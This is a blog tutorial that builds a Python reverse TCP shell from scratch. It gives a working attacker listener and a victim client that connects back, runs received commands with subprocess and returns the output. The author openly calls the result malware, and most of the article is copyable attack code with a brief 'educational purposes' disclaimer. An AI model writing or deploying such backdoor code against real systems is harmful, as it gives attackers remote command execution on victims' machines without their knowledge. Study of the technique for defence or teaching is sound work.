Creating a reverse TCP shell attack in Python, from scratch. (scarily easy!)
A reverse TCP shell is a common base for malicious attacks in which the attacker gains control upon the victim device
Although I highly recommend and ask of you to read this full article, you can skip directly to the GitHub repository for the finished result here.
What is a reverse TCP shell?
A reverse TCP shell is an interface which allows the host to control a client's device.
In many cases, a reverse TCP shell can act maliciously against the victim device.
How is it reverse?
My favorite explanation uses personification, and it goes a little something like this,
Imagine you are a celebrity, and you have a bodyguard.
A completely random stranger comes up to you and tries to start a personal conversation.
Before they even get to speak, your bodyguard pushes them away to protect you.
Now, imagine that you try to start a conversation with the stranger.
The bodyguard in this case will not intervene, because you started the interaction.
What I just described was the relationship between the attacker (stranger), firewall (bodyguard), and victim (you, the celebrity).
Disclaimer
This article is intended for educational purposes ONLY.
Therefore, I, (ImajinDevon), hold ZERO responsibility for any damages, nor do I hold responsibility for any liabilities which are an (indirect) result from the production, modification, or distribution of, not exclusively, this article, text, and or software.
TLDR; don't use the provided code or knowledge with malicious intent!
Creating the host
Let's create the host for our reverse TCP attack.
First, create a file and name it host.py
.
This file will contain the code for our attacker program.
Inside of this file, we need to import the socket
module.
This module is packaged with every modern Python interpreter.
import socket
Next, we will create the structure for our socket using the following code:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
FAQ: What is socket.AF_INET
?
AF_INET
means the IPv4 address family.
An IPv4 address is most commonly formatted as shown:
BYTE.BYTE.BYTE.BYTE
Where BYTE
(in readable form) is a number between 0-255.
For example, 127.0.0.1
is a valid IPv4 address which points to the local network.
FAQ: What is socket.SOCK_STREAM
?
SOCK_STREAM
tells the socket to communicate using the transmission control protocol, (TCP for short).
Find more in depth details here.
Now, we will define our binding address and port.
Our address must be an IPv4 address.
If you want to bind locally, so that nobody outside of your network can get in, use the address 127.0.0.1
. Else, use 0.0.0.0
for a public connection.
A port is any number between 1-65563.
You can choose any random port that meets this criteria.
HOST = '127.0.0.1'
PORT = 12345
Additionally, we must to bind our socket to an address and port.
We will do so by calling the bind
function on our sock
variable, exactly as shown below:
sock.bind((HOST, PORT))
Great! After binding our socket, we need to accept an incoming connection.
To do that, first, we must initialize the listener state.
sock.listen()
Then, we wait, and eventually accept an incoming connection.
Next, save both the connection, and the address that the connection is trying to connect from.
conn, addr = sock.accept()
We can print out a message to notify the user that a connection was accepted, as so:
print("Accepted incoming connection from address:", addr)
And for now, we'll write a simple message to the connection.
Don't forget to include the b
before the message, because we are sending bytes over the connection!
conn.send(b'Hello, world!')
Finally, we will close our connection.
conn.close()
Optionally, we can print a final message before exiting our program.
print("Connection terminated!")
Awesome!
Now that we have a template set up for our host, we can start creating our client program!
Creating the client
Create a file named client.py
.
This file will contain the code for our client program.
Just like before, we will import the socket
module, create our sock
variable, and define the HOST
and PORT
variables.
The PORT
variable MUST match the port defined in the host program.
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = '127.0.0.1'
PORT = 12345
Though, this time we will connect to our host.
Pssst, this is where the reverse comes into play!
sock.connect((HOST, PORT))
To make sure we've properly setup both sockets, we will receive a message, decode it, and print it!
# We receive a message, and read a maximum of 1024 bytes!
# Usually, this means the host can send 1024 characters at a time.
message = sock.recv(1024).decode()
print(message)
Now, we are ready to test the communication between our programs!
First, run the host program, then run the client program, and watch the magic happen!
If you copied the code correctly, you should see the following output in the host program's console:
Accepted incoming connection from address: ('127.0.0.1', 58668)
Connection terminated!
NOTE: The port number for the client is randomized each run!
The output in the client program's console should be:
Hello, world!
Incredible. We are able to communicate not only within our own, but also across networks with such ease!
Don't worry, I didn't forget about making the reverse shell.
Creating the attacker interface
Next, we will create the attacker interface.
Heading back into our host.py
program, first, let's remove the Hello, world!
code:
- conn.send(b'Hello, world!')
We will replace it with a while True
loop, which takes an input from the user.
If the input is exit
, we will break out of the loop, and will proceed to close the connection.
while True:
command = input('Enter a command >> ')
if command == 'exit':
break
Now, inside this loop, (after the exit check), let's send the client the command, then wait for a response.
# Make sure to encode the command!
conn.send(command.encode())
# Let's receive a bigger message this time.
msg = conn.recv(8096).decode()
print(msg)
Alright, good to go, let's implement the real functionality on the client side.
Giving the attacker control
Let's import and utilize the subprocess
module.
This module provides an easy API for running OS commands, and sending the host the output!
Place the following import at the top of the file:
import subprocess
Before we add our functionality, be sure to delete the previous line of codes, where we listened for a message and printed it.
- message = sock.recv(1024).decode()
- print(message)
The real functionality comes with the following code.
See the comments within the code for explanations.
while True:
# We receive a command and decode it.
command = sock.recv(1024).decode()
# Then, we split it into arguments.
# For example, `ls -l` gets turned into `[ls, -l]`.
args = command.split()
# We run the command and get the result.
result = subprocess.run(args, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
# We send the result directly back to the host.
sock.send(result.stdout)
Done. Let's test our program!
Host output
Accepted incoming connection from address: ('127.0.0.1', 50554)
Enter a command >> ls
client.py
host.py
py-reverse-tcp.iml
Enter a command >> exit
Connection terminated!
Process finished with exit code 0
Conclusion
We just easily created an educational, barebones ✨malware✨ in Python!
Scary how easy it is, right?
If you want more rich tutorials like this, make sure to leave feedback, and I ask you to follow me on GitHub.
If you want to keep up with whenever I create a new article, make sure to follow this blog on HashNode!
Thanks for the read, happy coding.